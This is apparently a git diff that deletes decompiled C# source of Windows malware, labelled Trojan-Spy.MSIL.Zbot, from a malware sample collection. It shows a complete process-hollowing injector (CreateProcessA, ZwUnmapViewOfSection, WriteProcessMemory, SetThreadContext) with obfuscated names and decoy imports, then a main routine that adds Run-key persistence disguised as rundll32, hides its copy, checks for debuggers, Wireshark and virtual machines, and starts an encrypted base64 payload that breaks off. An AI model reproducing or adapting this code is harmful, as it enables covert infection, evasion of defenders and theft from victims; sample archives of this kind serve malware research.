bool[] CopyBack = flagArray; - object obj5 = NewLateBinding.LateGet((object) null, Type, "PtrToStructure", Arguments, (string[]) null, (Type[]) null, CopyBack); - if (flagArray[0]) - NewLateBinding.LateSetComplex(Instance3, (Type) null, "AddrOfPinnedObject", new object[1] - { - RuntimeHelpers.GetObjectValue(objArray3[0]) - }, (string[]) null, (Type[]) null, true, false); - buffy.DOS_Header dosHeader2; - buffy.DOS_Header dosHeader3 = obj5 != null ? (buffy.DOS_Header) obj5 : dosHeader2; - NewLateBinding.LateCall(Instance2, (Type) null, "Free", new object[0], (string[]) null, (Type[]) null, (bool[]) null, true); - buffy.GN04L0ER8I gn04L0Er8I1 = buffy.TXXY5U8D2U("kernel32", "CreateProcessA"); - buffy.R84OY4NT36 r84Oy4Nt36_1 = buffy.TXXY5U8D2U("kernel32", "GetThreadContext"); - buffy.Q7QRRP639W q7QrrP639W1 = buffy.TXXY5U8D2U("kernel32", "ReadProcessMemory"); - buffy.ZGOQ8VM05M zgoQ8Vm05M1 = buffy.TXXY5U8D2U("kernel32", "WriteProcessMemory"); - buffy.EFVI2YI66B efvI2Yi66B1 = buffy.TXXY5U8D2U("ntdll", "ZwUnmapViewOfSection"); - buffy.W6CTR6GLCC w6CtR6Glcc1 = buffy.TXXY5U8D2U("kernel32", "VirtualAllocEx"); - buffy.K7B3INYH01 k7B3InyH01_1 = buffy.TXXY5U8D2U("kernel32", "SetThreadContext"); - buffy.WS2XVBNVO9 ws2XvbnvO9_1 = buffy.TXXY5U8D2U("kernel32", "ResumeThread"); - buffy.GN04L0ER8I gn04L0Er8I2 = gn04L0Er8I1; - string DASDAS3E2_1 = VVVVVVCAE; - object obj6 = obj3; - buffy.Security_Flags securityFlags1; - buffy.Security_Flags securityFlags2 = obj6 != null ? (buffy.Security_Flags) obj6 : securityFlags1; - ref buffy.Security_Flags local1 = ref securityFlags2; - object obj7 = obj4; - buffy.Security_Flags securityFlags3 = obj7 != null ? (buffy.Security_Flags) obj7 : securityFlags1; - ref buffy.Security_Flags local2 = ref securityFlags3; - IntPtr num1; - IntPtr DSA43R3W1 = num1; - object obj8 = obj2; - buffy.Startup_Information startupInformation1; - buffy.Startup_Information startupInformation2 = obj8 != null ? (buffy.Startup_Information) obj8 : startupInformation1; - ref buffy.Startup_Information local3 = ref startupInformation2; - object obj9 = obj1; - buffy.Process_Information processInformation1; - buffy.Process_Information processInformation2 = obj9 != null ? (buffy.Process_Information) obj9 : processInformation1; - ref buffy.Process_Information local4 = ref processInformation2; - int num2 = gn04L0Er8I2((string) null, DASDAS3E2_1, ref local1, ref local2, false, 4U, DSA43R3W1, (string) null, ref local3, out local4) ? 1 : 0; - object obj10 = (object) processInformation2; - object Instance4 = (object) startupInformation2; - object obj11 = (object) securityFlags3; - object obj12 = (object) securityFlags2; - if (-((uint) num2 > 0U ? 1 : 0) == 0) - return; - buffy.NT_Headers ntHeaders1 = new buffy.NT_Headers(); - IntPtr ptr = new IntPtr(checked (integer1 + dosHeader3.DASE3ASDAS)); - object structure1 = Marshal.PtrToStructure(ptr, ntHeaders1.GetType()); - buffy.NT_Headers ntHeaders2; - buffy.NT_Headers ntHeaders3 = structure1 != null ? (buffy.NT_Headers) structure1 : ntHeaders2; - NewLateBinding.LateSet(Instance4, (Type) null, "CSZE", new object[1] - { - (object) Strings.Len(RuntimeHelpers.GetObjectValue(Instance4)) - }, (string[]) null, (Type[]) null); - NewLateBinding.LateSet(Instance1, (Type) null, "II69TOHMUR", new object[1] - { - (object) 65539 - }, (string[]) null, (Type[]) null); - if (ntHeaders3.SSSSSSSSSSSQ != 17744U | dosHeader3.DASDASFASF != (ushort) 23117) - return; - buffy.GN04L0ER8I gn04L0Er8I3 = gn04L0Er8I1; - string DASDAS3E2_2 = VVVVVVCAE; - object obj13 = obj12; - securityFlags2 = obj13 != null ? (buffy.Security_Flags) obj13 : securityFlags1; - ref buffy.Security_Flags local5 = ref securityFlags2; - object obj14 = obj11; - securityFlags3 = obj14 != null ? (buffy.Security_Flags) obj14 : securityFlags1; - ref buffy.Security_Flags local6 = ref securityFlags3; - IntPtr DSA43R3W2 = num1; - object obj15 = Instance4; - startupInformation2 = obj15 != null ? (buffy.Startup_Information) obj15 : startupInformation1; - ref buffy.Startup_Information local7 = ref startupInformation2; - object obj16 = obj10; - processInformation2 = obj16 != null ? (buffy.Process_Information) obj16 : processInformation1; - ref buffy.Process_Information local8 = ref processInformation2; - int num3 = gn04L0Er8I3((string) null, DASDAS3E2_2, ref local5, ref local6, false, 4U, DSA43R3W2, (string) null, ref local7, out local8) ? 1 : 0; - object Instance5 = (object) processInformation2; - object obj17 = (object) startupInformation2; - object obj18 = (object) securityFlags3; - object obj19 = (object) securityFlags2; - if (-((uint) num3 > 0U ? 1 : 0) == 0) - return; - buffy.R84OY4NT36 r84Oy4Nt36_2 = r84Oy4Nt36_1; - object obj20 = NewLateBinding.LateGet(Instance5, (Type) null, "RFSER", new object[0], (string[]) null, (Type[]) null, (bool[]) null); - IntPtr DASDASC = obj20 != null ? (IntPtr) obj20 : num1; - object obj21 = Instance1; - buffy.Context context1; - buffy.Context context2 = obj21 != null ? (buffy.Context) obj21 : context1; - ref buffy.Context local9 = ref context2; - int num4 = r84Oy4Nt36_2(DASDASC, ref local9) ? 1 : 0; - object Instance6 = (object) context2; - buffy.Q7QRRP639W q7QrrP639W2 = q7QrrP639W1; - object obj22 = NewLateBinding.LateGet(Instance5, (Type) null, "DAS4QQW", new object[0], (string[]) null, (Type[]) null, (bool[]) null); - IntPtr FASFDASDAS = obj22 != null ? (IntPtr) obj22 : num1; - int integer2 = Conversions.ToInteger(Operators.AddObject(NewLateBinding.LateGet(Instance6, (Type) null, "WDA", new object[0], (string[]) null, (Type[]) null, (bool[]) null), (object) 8)); - long num5; - int num6 = checked ((int) num5); - ref int local10 = ref num6; - int num7 = 0; - ref int local11 = ref num7; - int num8 = q7QrrP639W2(FASFDASDAS, integer2, ref local10, 4, ref local11); - long num9 = (long) num6; - buffy.EFVI2YI66B efvI2Yi66B2 = efvI2Yi66B1; - object obj23 = NewLateBinding.LateGet(Instance5, (Type) null, "DAS4QQW", new object[0], (string[]) null, (Type[]) null, (bool[]) null); - IntPtr DASE3 = obj23 != null ? (IntPtr) obj23 : num1; - int AL8ZCRFWNU1 = checked ((int) num9); - long num10 = efvI2Yi66B2(DASE3, AL8ZCRFWNU1); - buffy.W6CTR6GLCC w6CtR6Glcc2 = w6CtR6Glcc1; - object obj24 = NewLateBinding.LateGet(Instance5, (Type) null, "DAS4QQW", new object[0], (string[]) null, (Type[]) null, (bool[]) null); - IntPtr DASE43E = obj24 != null ? (IntPtr) obj24 : num1; - int dfazdasd = checked ((int) ntHeaders3.OOOU.DFAZDASD); - int dasrdasrasr = (int) ntHeaders3.OOOU.DASRDASRASR; - uint num11 = checked ((uint) (int) w6CtR6Glcc2(DASE43E, dfazdasd, (uint) dasrdasrasr, 12288U, 4U)); - if (num11 == 0U) - return; - buffy.ZGOQ8VM05M zgoQ8Vm05M2 = zgoQ8Vm05M1; - object obj25 = NewLateBinding.LateGet(Instance5, (Type) null, "DAS4QQW", new object[0], (string[]) null, (Type[]) null, (bool[]) null); - IntPtr DASE32_1 = obj25 != null ? (IntPtr) obj25 : num1; - int AL8ZCRFWNU2 = checked ((int) num11); - byte[] DSAE32_1 = DAS4DA3; - int wqdasdasd = checked ((int) ntHeaders3.OOOU.WQDASDASD); - uint num12; - int num13 = checked ((int) num12); - ref int local12 = ref num13; - int num14 = zgoQ8Vm05M2(DASE32_1, AL8ZCRFWNU2, DSAE32_1, wqdasdasd, out local12) ? 1 : 0; - uint num15 = checked ((uint) num13); - long num16 = (long) checked (dosHeader3.DASE3ASDAS + 248); - int num17 = checked ((int) ntHeaders3.DSEEEEE.DAAAAAAAA3 - 1); - int num18 = 0; - while (num18 <= num17) - { - ptr = new IntPtr(checked ((long) integer1 + num16 + (long) (num18 * 40))); - buffy.Section_Header sectionHeader1; - object structure2 = Marshal.PtrToStructure(ptr, sectionHeader1.GetType()); - buffy.Section_Header sectionHeader2; - sectionHeader1 = structure2 != null ? (buffy.Section_Header) structure2 : sectionHeader2; - byte[] numArray = new byte[checked ((int) sectionHeader1.DA22S3 + 1)]; - int num19 = checked ((int) ((long) sectionHeader1.DA22S3 - 1L)); - int index = 0; - while (index <= num19) - { - numArray[index] = DAS4DA3[checked ((int) ((long) sectionHeader1.PoinEEter + (long) index))]; - checked { ++index; } - } - buffy.ZGOQ8VM05M zgoQ8Vm05M3 = zgoQ8Vm05M1; - object obj26 = NewLateBinding.LateGet(Instance5, (Type) null, "DAS4QQW", new object[0], (string[]) null, (Type[]) null, (bool[]) null); - IntPtr DASE32_2 = obj26 != null ? (IntPtr) obj26 : num1; - int AL8ZCRFWNU3 = checked ((int) (num11 + sectionHeader1.AL8ZCRFWNU)); - byte[] DSAE32_2 = numArray; - int da22S3 = checked ((int) sectionHeader1.DA22S3); - int num20 = checked ((int) num15); - ref int local13 = ref num20; - int num21 = zgoQ8Vm05M3(DASE32_2, AL8ZCRFWNU3, DSAE32_2, da22S3, out local13) ? 1 : 0; - num15 = checked ((uint) num20); - checked { ++num18; } - } - object bytes = (object) BitConverter.GetBytes(num11); - buffy.ZGOQ8VM05M zgoQ8Vm05M4 = zgoQ8Vm05M1; - object obj27 = NewLateBinding.LateGet(Instance5, (Type) null, "DAS4QQW", new object[0], (string[]) null, (Type[]) null, (bool[]) null); - IntPtr DASE32_3 = obj27 != null ? (IntPtr) obj27 : num1; - int integer3 = Conversions.ToInteger(Operators.AddObject(NewLateBinding.LateGet(Instance6, (Type) null, "WDA", new object[0], (string[]) null, (Type[]) null, (bool[]) null), (object) 8)); - byte[] DSAE32_3 = (byte[]) bytes; - int num22 = checked ((int) num15); - ref int local14 = ref num22; - int num23 = zgoQ8Vm05M4(DASE32_3, integer3, DSAE32_3, 4, out local14) ? 1 : 0; - num12 = checked ((uint) num22); - NewLateBinding.LateSet(Instance6, (Type) null, "AS4", new object[1] - { - (object) checked (num11 + ntHeaders3.OOOU.DDDDDDDDAAA) - }, (string[]) null, (Type[]) null); - buffy.K7B3INYH01 k7B3InyH01_2 = k7B3InyH01_1; - object obj28 = NewLateBinding.LateGet(Instance5, (Type) null, "RFSER", new object[0], (string[]) null, (Type[]) null, (bool[]) null); - IntPtr ASDASCASDASD = obj28 != null ? (IntPtr) obj28 : num1; - object obj29 = Instance6; - context2 = obj29 != null ? (buffy.Context) obj29 : context1; - ref buffy.Context local15 = ref context2; - int num24 = k7B3InyH01_2(ASDASCASDASD, ref local15) ? 1 : 0; - object obj30 = (object) context2; - buffy.WS2XVBNVO9 ws2XvbnvO9_2 = ws2XvbnvO9_1; - object obj31 = NewLateBinding.LateGet(Instance5, (Type) null, "RFSER", new object[0], (string[]) null, (Type[]) null, (bool[]) null); - IntPtr DASEAS = obj31 != null ? (IntPtr) obj31 : num1; - int num25 = (int) ws2XvbnvO9_2(DASEAS); - } - - [DllImport("kernel32", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern IntPtr LoadLibraryA([MarshalAs(UnmanagedType.VBByRefStr)] ref string tr6); - - [DllImport("kernel32", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern IntPtr GetProcAddress(IntPtr gdr54, [MarshalAs(UnmanagedType.VBByRefStr)] ref string gfsd54); - - [DllImport("rpcns4.dll", EntryPoint = "RpcNsProfileEltAddA", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern long RpcNsProfileEltAdd( - long ProfileNameSyntax, - [MarshalAs(UnmanagedType.VBByRefStr)] ref string ProfileName, - ref IntPtr IfId, - long MemberNameSyntax, - [MarshalAs(UnmanagedType.VBByRefStr)] ref string MemberName, - long Priority, - [MarshalAs(UnmanagedType.VBByRefStr)] ref string Annotation); - - [DllImport("wldap32.dll", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern long ldap_close_extended_op(ref IntPtr ld, long MessageNumber); - - [DllImport("tapi32.dll", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern long lineSetAppSpecific(long hCall, long dwAppSpecific); - - [DllImport("rtm.dll", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern long MgmGetNextMfeStats( - ref IntPtr pimmStart, - ref long pdwBufferSize, - [MarshalAs(UnmanagedType.VBByRefStr)] ref string pbBuffer, - ref long pdwNumEntries); - - [DllImport("mprapi.dll", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern long MprAdminDeviceEnum( - ref IntPtr hMprServer, - long dwLevel, - [MarshalAs(UnmanagedType.VBByRefStr)] ref string lplpbBuffer, - ref long lpdwTotalEntries); - - [DllImport("MSI.dll", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern long MsiDatabaseImport( - ref IntPtr hDatabase, - [MarshalAs(UnmanagedType.VBByRefStr)] ref string szFolderPath, - [MarshalAs(UnmanagedType.VBByRefStr)] ref string szFileName); - - [DllImport("rpcrt4.dll", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern long NdrMesSimpleTypeAlignSize(long handle_t); - - [DllImport("NETAPI32.dll", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern long NetMessageNameDel([MarshalAs(UnmanagedType.VBByRefStr)] ref string servername, [MarshalAs(UnmanagedType.VBByRefStr)] ref string msgname); - - [DllImport("NETAPI32.dll", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern long NetReplExportDirSetInfo( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string servername, - [MarshalAs(UnmanagedType.VBByRefStr)] ref string dirname, - long level, - [MarshalAs(UnmanagedType.VBByRefStr)] ref string buf, - ref long parm_err); - - [DllImport("NETAPI32.dll", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern long NetUseGetInfo( - ref IntPtr UncServerName, - ref IntPtr UseName, - long level, - [MarshalAs(UnmanagedType.VBByRefStr)] ref string bufptr); - - [DllImport("kernel32.dll", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern long QueueUserWorkItem(long lFunction, ref long Context, long Flags); - - [DllImport("kernel32.dll", EntryPoint = "ReadConsoleInputA", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern long ReadConsoleInput( - long hConsoleInput, - ref IntPtr lpBuffer, - long nLength, - ref long lpNumberOfEventsRead); - - [DllImport("user32.dll", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern long ShowWindowAsync(long hWnd, long nCmdShow); - - [DllImport("mgmtapi.dll", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern long SnmpMgrCtl( - ref IntPtr session, - long dwCtlCode, - ref long lpvInBuffer, - long cbInBuffer, - ref long lpvOUTBuffer, - long cbOUTBuffer, - ref long lpcbBytesReturned); - - [DllImport("advapi32.dll", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern long AddAuditAccessAceEx( - IntPtr pAcl, - long dwAceRevision, - long AceFlags, - long dwAccessMask, - ref IntPtr pSid, - long bAuditSuccess, - long bAuditFailure); - - [DllImport("ODBCCP32.dll", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern long SQLInstallerError( - int iError, - ref long pfErrorCode, - [MarshalAs(UnmanagedType.VBByRefStr)] ref string lpszErrorMsg, - int cbErrorMsgMax, - ref int pcbErrorMsg); - - [DllImport("msorcl32.dll", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern long SQLSetCursorName(long hstmt, [MarshalAs(UnmanagedType.VBByRefStr)] ref string szCursor, int cbCursor); - - [DllImport("rasapi32.dll", EntryPoint = "RasSetCredentialsA", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern long RasSetCredentials( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string lpcstr, - [MarshalAs(UnmanagedType.VBByRefStr)] ref string lpcstr, - ref IntPtr TLPRASCREDENTIALSA, - long @bool); - - [DllImport("kernel32.dll", EntryPoint = "ReadConsoleA", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern long ReadConsole( - long hConsoleInput, - ref long lpBuffer, - long nNumberOfCharsToRead, - ref long lpNumberOfCharsRead, - ref long lpReserved); - - [DllImport("advapi32.dll", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern long ReadEncryptedFileRaw( - ref IntPtr pfExportCallback, - ref long pvCallbackContext, - ref long pvContext); - - [DllImport("winspool.drv", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern long ReadPrinter( - long hPrinter, - ref long pBuf, - long cdBuf, - ref long pNoBytesRead); - - [DllImport("user32.dll", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern long RegisterHotKey(long hwnd, long id, long fsModifiers, long vk); - - [DllImport("kernel32.dll", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern long ReleaseSemaphore( - long hSemaphore, - long lReleaseCount, - ref long lpPreviousCount); - - [DllImport("advapi32.dll", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern IntPtr GetSiteNameFromSid(ref long pSid, [MarshalAs(UnmanagedType.VBByRefStr)] ref string pwsSite); - - [DllImport("kernel32.dll", EntryPoint = "GetStringTypeExA", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern long GetStringTypeEx( - long Locale, - long dwInfoType, - [MarshalAs(UnmanagedType.VBByRefStr)] ref string lpSrcStr, - long cchSrc, - ref int lpCharType); - - [DllImport("kernel32.dll", EntryPoint = "GetVolumePathNameA", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern long GetVolumePathName( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string lpszFileName, - [MarshalAs(UnmanagedType.VBByRefStr)] ref string lpszVolumePathName, - long cchBufferLength); - - [DllImport("user32.dll", EntryPoint = "SetWindowLongA", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern long SetWindowLong(long hwnd, long nIndex, long dwNewLong); - - [DllImport("kernel32.dll", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern long TlsSetValue(long dwTlsIndex, ref long lpTlsValue); - - [DllImport("user32.dll", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern IntPtr ToAscii( - long uVirtKey, - long uScanCode, - ref byte lpbKeyState, - ref long lpwTransKey, - long fuState); - - private static T TXXY5U8D2U(string ASFASE3, string FASGAS543W) => (T) Marshal.GetDelegateForFunctionPointer(buffy.GetProcAddress(buffy.LoadLibraryA(ref ASFASE3), ref FASGAS543W), typeof (T)); - - public struct Context - { - public uint II69TOHMUR; - public uint d2; - public uint das; - public uint d9; - public uint ad; - public uint dsa; - public uint ds; - public buffy.Save Save; - public uint dh; - public uint sad; - public uint da; - public uint MD; - public uint RD; - public uint mSI; - public uint WDA; - public uint AD3; - public uint D21; - public uint AS4; - public uint K32; - public uint F2W; - public uint HHJ; - public uint ADF5; - public uint GSSA; - public uint DSAAA; - [MarshalAs(UnmanagedType.ByValArray, SizeConst = 512)] - public byte[] er6rgdr65; - } - - public struct Save - { - public uint KD7JX2MXT; - public uint JCNS3ZPSXO; - public uint DAS3; - public uint DAS23; - public uint ADSA; - public uint DAF35; - public uint FA32D; - [MarshalAs(UnmanagedType.ByValArray, SizeConst = 80)] - public byte[] FSDRF43; - public uint FA32QA; - } - - public struct Misc - { - public uint SDUHRL; - public uint GSIJ; - } - - public struct Section_Header - { - public byte FSDPOU4PO3; - public buffy.Misc Mi2sc; - public uint AL8ZCRFWNU; - public uint DA22S3; - public uint PoinEEter; - public uint E2Q4RS; - public uint FS523QF; - public uint FSB43FSD4; - public uint QBFAS4E; - public uint AS32QFZS; - } - - public struct Process_Information - { - public IntPtr DAS4QQW; - public IntPtr RFSER; - public int TGJWE; - public int SDFFFFFFFFFF; - } - - [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)] - public struct Startup_Information - { - public int CSZE; - public string FSDR4G; - public string AAAAAAAAAA; - public string AADDDDDDD; - public int ADA; - public int C; - public int AEDS; - public int DASDDDD; - public int XASE4; - public int DAS3EDFZ; - public int DVA3ES; - public int CCCCQ; - public short FDSRS; - public short VYE5X; - public int KHJKIHJK; - public int KHJKHJK; - public int KHJKHJ; - public int KHJKJHK; - } - - public struct Security_Flags - { - public int GFSETWE; - public IntPtr EWEWWW; - public int DASDAS; - } - - public struct DOS_Header - { - public ushort DASDASFASF; - public ushort QWEQWE; - public ushort EQWEQWEQWE; - public ushort HFGHFGHFGH; - public ushort HFGHFGHFG; - public ushort DASD444444; - public ushort DASFASE33; - public ushort DASKGHJ; - public ushort DASVZDF; - public ushort VXCVXC; - public ushort VXCVXCV; - public ushort EWECS; - public ushort EWADC; - public ushort UADA3; - [MarshalAs(UnmanagedType.ByValArray, SizeConst = 4)] - public ushort[] ReservWWWWWWWWWWWWWWWedA; - public ushort DAS4E; - public ushort UJJ; - [MarshalAs(UnmanagedType.ByValArray, SizeConst = 10)] - public ushort[] DDDDDDDDD; - public int DASE3ASDAS; - } - - public struct NT_Headers - { - public uint SSSSSSSSSSSQ; - public buffy.File_Header DSEEEEE; - public buffy.Optional_Headers OOOU; - } - - public struct File_Header - { - public ushort ITTTTTTTT; - public ushort DAAAAAAAA3; - public uint HRFTYTYTR; - public uint GJGFSFS; - public uint FSVGY; - public ushort FSFV; - public ushort A34FFC; - } - - public struct Optional_Headers - { - public ushort WWWWWWWWW; - public byte MaAAAAAAAAAAAjor; - public byte MiSSSSSSSSSSSnor; - public uint SSSSSSSSSSSSS; - public uint FFFFFFFFFFF; - public uint XXXXXXXX; - public uint DDDDDDDDAAA; - public uint FSSSSSSS; - public uint RSFS43; - public uint DFAZDASD; - public uint SectionA; - public uint FileA; - public ushort GDFTDFFFF; - public ushort HGDFHD564; - public ushort GD5ERGD; - public ushort FSD5YHD; - public ushort ASDASG; - public ushort AS4ASAS; - public uint CCC; - public uint DASRDASRASR; - public uint WQDASDASD; - public uint Assssssss; - public ushort fsd4s; - public ushort fjio; - public uint dasrlajstpoi; - public uint dasdraskyjhuasp; - public uint SHRedas4wa9uqserve; - public uint fsdtsysyt; - public uint eawdasdas3; - public uint Cocccunt; - [MarshalAs(UnmanagedType.ByValArray, SizeConst = 16)] - public buffy.Data_Directory[] GSDGSDT4; - } - - public struct Data_Directory - { - public uint ewq34q234; - public uint das34aw33; - } - - public delegate bool GN04L0ER8I( - string ASFASE3, - string DASDAS3E2, - ref buffy.Security_Flags DASCASE, - ref buffy.Security_Flags CASE222, - bool DAS432E, - uint AEDFKJK32, - IntPtr DSA43R3W, - string ase32ew, - [In] ref buffy.Startup_Information das43fsa, - out buffy.Process_Information das3); - - public delegate bool ZGOQ8VM05M( - IntPtr DASE32, - int AL8ZCRFWNU, - byte[] DSAE32, - int DASEADAS, - out int ASD43FA); - - public delegate int Q7QRRP639W( - IntPtr FASFDASDAS, - int AL8ZCRFWNU, - ref int CAS32, - int ASDASC, - ref int CASTWE); - - public delegate IntPtr W6CTR6GLCC( - IntPtr DASE43E, - int AL8ZCRFWNU, - uint DASCAS3, - uint DAS3, - uint DAS32); - - public delegate long EFVI2YI66B(IntPtr DASE3, int AL8ZCRFWNU); - - public delegate uint WS2XVBNVO9(IntPtr DASEAS); - - public delegate bool R84OY4NT36(IntPtr DASDASC, ref buffy.Context DSACSA43); - - public delegate bool K7B3INYH01(IntPtr ASDASCASDASD, ref buffy.Context ASCA434); -} diff --git a/MSIL/Trojan-Spy/MSIL/Z/Trojan-Spy.MSIL.Zbot.btc-4cfabe02a2ea2ca03720d7fb5ebf42946273e42ebc570537a118827d15ce7880/pizde.cs b/MSIL/Trojan-Spy/MSIL/Z/Trojan-Spy.MSIL.Zbot.btc-4cfabe02a2ea2ca03720d7fb5ebf42946273e42ebc570537a118827d15ce7880/pizde.cs deleted file mode 100644 index 4db0676b..00000000 --- a/MSIL/Trojan-Spy/MSIL/Z/Trojan-Spy.MSIL.Zbot.btc-4cfabe02a2ea2ca03720d7fb5ebf42946273e42ebc570537a118827d15ce7880/pizde.cs +++ /dev/null @@ -1,645 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: pizde -// Assembly: jojo, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 4DB4C09F-BA71-4773-8260-0A2245DF6BAF -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan-Spy.MSIL.Zbot.btc-4cfabe02a2ea2ca03720d7fb5ebf42946273e42ebc570537a118827d15ce7880.exe - -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.CompilerServices; -using My; -using System; -using System.Diagnostics; -using System.IO; -using System.Runtime.InteropServices; -using System.Security.Cryptography; -using System.Text; -using System.Windows.Forms; - -[StandardModule] -internal sealed class pizde -{ - private static string iohouh7877 = "GDGDF54545"; - private static string HostEditing = "%28%"; - private static string antis = "%29%"; - private static string stuff = "%something%"; - private static object Devices; - private static string Grafikadapter; - private static string RegionA = "SELECT * FROM Win32_VideoController"; - - [STAThread] - public static void Main() - { -label_0: - int num1; - int num2; - try - { - ProjectData.ClearProjectError(); - num1 = 1; -label_1: - int num3 = 2; - string processName = Process.GetCurrentProcess().ProcessName; -label_2: - num3 = 3; - Process.GetProcessesByName(processName); -label_3: - num3 = 4; - if (Operators.CompareString(pizde.iohouh7877, "hhhhhhhhhheeeee", false) != 0) - goto label_11; -label_4: - num3 = 5; - object tempPath1 = (object) Path.GetTempPath(); -label_5: - num3 = 6; - object executablePath = (object) Application.ExecutablePath; -label_6: - num3 = 7; - object fullPath = (object) Path.GetFullPath(Conversions.ToString(executablePath)); -label_7: - num3 = 8; - FileAttributes fileAttributes1 = FileAttributes.Hidden | FileAttributes.System; -label_8: - num3 = 9; - MyProject.Computer.Registry.LocalMachine.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", true).SetValue("rundll32", Operators.ConcatenateObject(tempPath1, (object) "rundll32 .exe")); -label_9: - num3 = 10; - FileSystem.FileCopy(Conversions.ToString(fullPath), Conversions.ToString(Operators.ConcatenateObject(Operators.ConcatenateObject(tempPath1, (object) "\\"), (object) "rundll32 .exe"))); -label_10: - num3 = 11; - File.SetAttributes(Conversions.ToString(Operators.ConcatenateObject(Operators.ConcatenateObject(tempPath1, (object) "\\"), (object) "rundll32 .exe")), fileAttributes1); -label_11: - num3 = 13; - if (Operators.CompareString(pizde.HostEditing, "hhhhhhhhhheeeee", false) != 0) - goto label_13; -label_12: - num3 = 14; - pizde.HostEdit(); - goto label_14; -label_13: - num3 = 16; -label_14: - num3 = 18; - pizde.AntiMalwarebytes(); -label_15: - num3 = 19; - pizde.AntiOllydbg(); -label_16: - num3 = 20; - pizde.AntiWireshark(); -label_17: - num3 = 21; - pizde.AntiVirtualBox(); -label_18: - num3 = 22; - pizde.AntiVirtualPC(); -label_19: - num3 = 23; - pizde.AntiVmWare(); -label_20: - num3 = 24; - pizde.IsDebuggerPresent(); -label_21: - num3 = 25; - string s1 = "LahbZ+TU76mDkTZJVJSU3bubBdDFWhTtWZow2/9AghaTAsPcNG6JorBXBElCcy1AHe3YPtUq/1sNVRPuaXm1rYTiE83cTGv4gY6+QPy2O5cX29UUDY08bWJ/s13MJj+qDN84fWszp8Xg5L7DDwHl8l2cGlDhTxtCHzTtu1Vbz2pdFBUSYMSM75qLtf240bFslgC3FZm2+eBHvGjPn8aiTH0BpkttmQMeOtOP9mnrI9PcIW5KO9waoy8WXin+4FcAUvsE8gWqUA8WcpqzN9JpXg4U9Rm1qNOgcabb7pwFidkenF1xL43JMZc19M7LKpVDMlNbUdzg21tTHV42AhbXW1+NGG28jfmlDrtZ6mEGZxg6StXv4RajArzcTTdsY5IgxxoTkY3jxZC5Y1riNTihrwkOyTMo6Q+YWSyOAmIfI/mricfjC670U87xVAIhDgxTLQm+h0yIx3ahWkWsgVxunNa/l19E5vNDj/WzGFlsSZgLeVyaHK90Ik2strJU7CcPw+fRjcucVZeugusBuzCRIlNoejbeuzQUrH67o7j5lK+MgPu8ZE04PjBmrRFhG8iBX+o+I2bOKedIcMCeFKA2305Iz+X3p+GG7DL+n7z1O/6BdJE5M/NrnveXkX0UF3KsYeHRNbpMkC7LvY61Z4JUpxuYBVS5JUjDAj8HGwFt8RP+Vq94nXKtYhfCLfNvxg/1arM4MxOF/52A9vsoOGj5+ryMaZrJNlP9/hY0B8kxRmhgIYd56Wrk/XuMc6OKMMsNmrR/70gZRDk+o6KZMECZ0BA7apu65s84JBfyqTu6w5+KVQAg5AocRuk0itiA9k7fTNPaJU8oXEVx0DDto/eWkfRivXaIH0Nb6CcTmyI0ZZvIv09AK64wHEGdK4m4KLoRMVHFiWNKgx2wlomLz7enOiyRZyK9cvxS2cKCOnkQHUSez8rvFCHVXDao11TsiyfmjheMzoq12M+ZiqFvybo1hoV7gNInfvl++YOgx9fNqfHddC/fOQ3Ri9bYyxnmQ9OpiLA2tHloo9+wVtfNunINwqOnm1PafhIf97HscNCj1TSpWjcuDRMMv64x7gr5bS875xbyYPuSJE/gDvVd3PoEo0dSlo526fl0MgXhhzEpZTZmrk5Jh0bDUaYUTBPkzDR8YMVxbBecaHTrs9f9dHjSVLbvKEmYpUd3koMeMWoxqYQF1OL1+m7CLYsMEt1Qv5C+Z68iq32bhg6SC5x+xzDT35W0i5VYpBRkZa22iwNDtsA5LIPFrOBnxhZrZQ9GxMSSngPXELwjgJUiVLYhBOY6h586nHXMiL1f0774n2yltat3P9HTcwNsQFdOFBpKuLIUGHDyFHOegih25/ghpEfJile/JY8tkRRDR3KxlJoMbt1Z973n+IIizSgX4UxgGU7VSIdz3ZX/m16cUGlJBJBt9gQx2gHxXXWWFCGvUBZJHaHLczsvRn4GYMvS8rsUjJb+iVf1nTd6+LX9Z4hxzqdRpZy06hSLV0VeBMrkV6a8eVUYgG+YLZ9WpG3I7HnJTiLuUcn7YaHc7EuMaOsw88lWTZeByGz/KgRquw+84jBkMPZhIVAeYwoRVXzGN7DdX566YfqpGZaoBqsz09TKEQp2qLn5qP94ZDo